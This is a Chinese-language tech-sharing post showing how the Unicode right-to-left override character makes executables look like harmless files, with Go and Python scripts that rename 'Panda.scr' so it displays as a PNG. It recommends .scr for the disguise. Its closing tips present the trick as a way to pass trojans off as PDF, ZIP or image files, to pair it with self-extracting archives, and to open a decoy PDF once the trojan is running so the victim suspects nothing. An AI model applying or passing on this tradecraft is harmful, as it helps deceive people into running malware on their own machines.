【技术分享】RTLO 伪装程序后缀名

简介

Unicode RTLO（Right-to-Left Override）是Unicode字符编码中的一种特殊字符，字符的作用是改变文本的文字流方向，可以使原本从左向右的文字流变为从右向左，我们可以通过这种办法伪装恶意可执行程序，这种办法会有小小的弊端自己发现吧。

后缀伪装

首先把文件扩展给勾上，方便我们看文件后缀，这里我做了个简单的 exe 程序做演示（可以是木马程序）。

然后我们对程序 重命名，注意光标的位置是在 .exe 的前面，这个时候我们就可以插入特殊字符了。

我们输入 gnp 也就是 png 的字母反转，重命名好后就可以了。

你就会发现，变成了 png 图片格式了，而且还可以运行，再看看任务管理器，哈哈哈 是不是挺意外的进程中直接跑 png，其实有很多小例子，比如：exe 改 bat，改 dll 都是可以被执行的，在任务管理器中都可以看到的（这里就不过多演示了）。

scr // 可以显示软件图标
com // 不能显示软件图标
bat cmd // 不能显示软件图标

可以发现在内容中会有 exe 字样，是不是感觉很敏感，不怕不怕，以上是我收集到了一些可执行后缀（推荐 scr）。

Go 实现

package main

import (
    "fmt"
    "os"
)

func main() {
    var oldfile string = "Panda.scr"
    var newfile string = "Panda\xe2\x80\xaegnp.scr"
    err := os.Rename(oldfile, newfile)
    if err != nil {
        fmt.Println("incorrect file naming.", err)
    } else {
        fmt.Println("Successful file renaming!")
    }
}

Python 实现

import os

oldfile = "Panda.scr"
newfile = "Panda‮gnp.scr"

try:
    os.rename(oldfile, newfile)
    print("Successful file renaming!")
except OSError as err:
    print("Incorrect file naming.", err)

利用总结

1.利用这个办法伪装木马程序，如：pdf，zip，png 等文件后缀。
2.利用压缩包自解压执行的功能，配合 RLO 实现压缩包执行伪装。
Tips：内嵌一个执行，比如打开伪装的程序，程序运行后木马上线，那么再打开内置的 pdf文档，就不会被怀疑了。